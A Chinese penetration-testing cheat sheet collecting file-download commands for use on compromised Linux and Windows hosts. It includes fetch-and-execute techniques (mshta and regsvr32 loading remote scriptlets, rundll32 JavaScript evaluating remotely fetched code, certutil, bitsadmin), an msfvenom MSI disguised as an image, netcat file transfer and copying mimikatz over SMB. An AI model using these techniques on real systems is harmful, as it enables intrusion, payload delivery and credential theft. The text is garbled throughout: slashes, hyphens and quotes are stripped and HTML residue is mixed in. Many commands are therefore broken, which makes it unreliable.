1。简介 在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。 2。Linux2。1Wget 这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。 直接下载:wgethttp:www。samplevideos。comvideomp4big。mp4 后台下载:wgetbhttp:www。samplevideos。comvideomp4big。mp4 如果互联网连接出现中断,恢复下载:wgetchttp:www。samplevideos。comvideomp4big。mp4 从某个密码保护的ftp软件库下载文件:wgetftpuserusernameftppasswordGivepasswordDownloadurladdress 2。2Curl Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。 直接下载:curloum。mp4http:www。samplevideos。comvideomp4big。mp4 借助o选项,提供名称,下载文件会以该名称保存;如使用O选项,文件就会以原始名称保存。 2。3Axel 这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。aptgetinstallaxel 直接下载:axelhttp:www。samplevideos。comvideomp4big。mp4 2。4Aria2 这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。aptgetinstallaria2 直接下载:aria2chttp:www。samplevideos。comvideomp4big。mp4 2。5Perl Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。!perl !usrbinperl useLWP::Simple; getstore(http:domainfile,file); 执行脚本文件是这样:perlteststrongtoutiaooriginspanclasshighlighttext。plstrong 2。6Python Python也是很受欢迎的主流脚本语言,代码清晰且简洁:!python !usrbinpython importurllib2 uurllib2。urlopen(http:domainfile) localFileopen(localfile,w) localFile。write(u。read) localFile。close 2。7Ruby Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。!ruby !usrbinruby requirenethttp Net::HTTP。start(www。domain。com){http rhttp。get(file) open(savelocation,wb){file file。write(r。body) } } 执行脚本文件是这样;rubyteststrongtoutiaooriginspanclasshighlighttext。rbstrong 2。8PHP PHP作为一种服务端脚本,也可以实现下载文件这种功能。!usrbinphp lt;?php datafile(http:example。comfile); lflocalfile; fhfopen(lf,w); fwrite(fh,data〔0〕); fclose(fh); ? 执行脚本文件是这样:phpteststrongtoutiaooriginspanclasshighlighttext。phpstrong 2。9FTP 一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。ftp127。0。0。1 username password getfile exit 当然根据实际情况也可以进入交互终端:ftp192。168。3。2 输入用户名和密码后 lcdE:file进入E盘下的file目录 cdwww进入服务器上的www目录 getaccess。log将服务器上的access。log下载到E:file 2。10Netcat 攻击者的电脑上输入:catfilencl1234 这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。 目标电脑上的命令:nchostip1234file 这条命令将连接攻击者的电脑,接受file内容保存。 3。Windows3。1Powershell PowerShell是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。 下面这两条指令实现了从Internet网络下载一个文件。pNewObjectSystem。Net。WebClient p。DownloadFile(http:domainfileC:homepathfile) 3。2IPCcopy192。168。3。1cest。exeE:file cmd。exekwebdavserverfolderbatchfile。txt 3。3Certutil 可以应用到:WindowsServer2003,WindowsServer2003R2,WindowsServer2003withSP1,WindowsServer2003withSP2certutilurlcachesplitfhttp:192。168。3。1test。exefile。exe certutilurlcachesplitfhttp:192。168。3。1test。exedelete删除缓存 certutilverifyctlsplitfsplithttp:192。168。3。1test。exe 此条命令,会将原文件下载成为临时bin文件,把名字改回来一样可以正常运行 文件下载并执行如下:certutilurlcachesplitfhttp:site。comaa。exea。exedela。execertutilurlcachesplitfhttp:192。168。254。102:80adelete 3。4VisualBasic 在1998年VisualBasic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。SetargsWscript。Arguments Urlhttp:domainfile dimxHttp:SetxHttpcreateobject(Microsoft。XMLHTTP) dimbStrm:SetbStrmcreateobject(Adodb。Stream) xHttp。OpenGET,Url,False xHttp。Send withbStrm 。type1 。open 。writexHttp。responseBody 。savetofileC:homepathfile,2 endwith 在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows7中这个指令并不是必须要用到。但是在windowsXP中需要使用这条指令,如下所示:cscriptteststrongtoutiaooriginspanclasshighlighttext。vbsstrong 3。5Tftp 在WindowsVista以及以后的版本中默认有FTP,可以使用以下命令运行: 上传:tftpiIP地址PUTC:homepathfile远程存放位置 下载:tftpiIP地址GETC:homepathfile本地存放位置 3。6Bitsadmin Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:bitsadmintransfermyDownLoadJobdownloadprioritynormalhttp:192。168。203。140b。ps1E:phpstudyproWWWb。ps1 bitsadminrawreturntransfergetfilehttp:192。168。3。1test。txtE:fileest。txt bitsadminrawreturntransfergetpayloadhttp:192。168。3。1test。txtE:fileest。txt 3。7msiexecmsiexecqihttp:192。168。3。1calc。png calc。png: msfvenomfmsipwindowsexecCMDcalc。execacl。png 3。8IEExecstrongtoutiaooriginspanclasshighlighttextC:WindowsMicrosoft。NETFrameworkv2。0。50727caspolsoffstrong strongtoutiaooriginspanclasshighlighttextC:WindowsMicrosoft。NETFrameworkv2。0。50727IEExechttp:192。168。3。1test。exestrong 3。9PythonC:python27python。execimporturllib2;execurllib2。urlopen(‘http:192。168。3。1test。zip’)。read; 3。10Mshta mshtahttp:192。168。3。1run。htarun。hta内容如下:HTML metahttpequivContentTypecontenttexthtml;charsetutf8 HEAD body demo body HEAD HTML mshtavbscript:Close(Execute(GetObject(script:http:webserverpayload。sct))) 3。11Rundll32 依赖于WScript。shell这个组件:rundll32。exejavascript:。。mshtml,RunHTMLApplication;document。write;hnew20ActiveXObject(WinHttp。WinHttpRequest。5。1);h。Open(GET,http:127。0。0。1:8081connect,false);try{h。Send;bh。ResponseText;eval(b);}catch(e){new20ActiveXObject(WScript。Shell)。Run(cmdctaskkillfimrundll32。exe,0,true);} 3。12Regsvr32 Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 WinXP及以上系统的regsvr32。exe在windowssystem32文件夹下;2000系统的regsvr32。exe在winntsystem32文件夹下。regsvr32usi:http:192。168。3。1test。datascrobj。dll test。data内容:strongtoutiaooriginspanclasshighlighttextlt;?XMLversion1。0?strong strongtoutiaooriginspanclasshighlighttextstrong strongtoutiaooriginspanclasshighlighttextregistrationstrong strongtoutiaooriginspanclasshighlighttextscriptletstrong 还可以利用https:github。comCroweCybersecurityps1encode生成sct文件:regsvr32usi:http:192。168。3。1test。sctscrobj。dll 3。13WindowsShare Windowsshares可以加载一个驱动器,然后用命令来复制文件。 加载远程驱动:netusex:127。0。0。1shareuser:example。comuserIDmyPassword 3。14格式转换 当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件: 把exe转成hex文件输入:PS。ExetoText。ps1evil。exeevil。txt 打开evil。txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:PS。TexttoExe。ps1evil。textevil。exe 3。15其它 1。MSXSL。EXE msxsl。exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。 2。pubprn。vbs在Windows7以上版本存在一个名为PubPrn。vbs的微软已签名WSH脚本,其位于strongtoutiaooriginspanclasshighlighttextC:WindowsSystem32PrintingAdminScriptsenUSstrong 3。esentutl。exeextrac32。exeesentutl。exey172。16。249。149sharemimikatztrunk。zipdC:UsersPublicmimikatztrunk。zip0 extrac32。exeYC172。16。249。149shareest。txtC:UsersPublicest。txt 4。desktopimgdownldr。exedesktopimgdownldr。exe位于Win10的system32文件夹中,原本用于设置锁定屏幕或桌面背景图像的。 普通用户可以用:setSYSTEMROOTC:ProgramDatacmdcdesktopimgdownldr。exelockscreenurl:http:urlxxx。exeeventName:desktopimgdownldr 这样来下载文件。 可以把C:ProgramData来改成一个普通用户可写的目录。 下载的文件存放于:C:ProgramDataPersonalizationLockScreenImagexrandom。exe。 管理员用户会多写一个注册表项,所以管理员最好的命令是:setSYSTEMROOTC:ProgramDatacmdcdesktopimgdownldr。exelockscreenurl:https:urlfile。exeeventName:desktopimgdownldrregdeleteHKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionPersonalizationCSPf 4。参考链接 https:xz。aliyun。comt1654 https:www。t00ls。netarticles49501。html https:evi1cg。mearchivesremoteexec。html https:www。unixmen。comtop10commandlinetoolsdownloadinglinux 作者:肖洋肖恩、 原文链接:https:www。cnblogs。commop12109717。html